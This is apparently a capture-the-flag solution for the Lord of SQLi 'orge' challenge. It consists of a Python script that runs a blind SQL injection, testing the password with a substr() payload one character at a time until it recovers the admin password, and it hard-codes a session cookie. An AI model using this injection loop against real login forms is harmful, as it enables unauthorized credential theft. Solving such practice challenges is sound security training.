[LOS] - orge - 190825

1. orge.py

import requests
 
URL = 'https://los.rubiya.kr/chall/orge_bad2f25db233a7542be75844e314e9f3.php'
password = ''
index=0
 
while True:
        
        isit = False
        index += 1
        print('[+]Finding Password index : %d'%index)
        for i in range(0x21, 0x7f):
                query = '\' || id=\'admin\' && substr(pw,' + str(index) + ',1)=\'' + chr(i)+'\'#'
                paramDic ={
                        'pw':
                        query  
                        }
                print('[*]Sending Query : %s'%query)
                headers = {'Content-Type': 'application/json; charset=utf-8'}
                cookies = {'PHPSESSID':'m92mjdshh228bvpverl9tp0jnd'}
                
                response = requests.get(URL, params=paramDic, headers=headers, cookies=cookies)
                
                if "Hello admin" in response.text:
                        password += chr(i)
                        isit = True        
                        print('[+]Find Password : %s Index : %d' %(chr(i), index))
                        break
        if isit is False:
                break
        
print('[+]Password : %s'%password)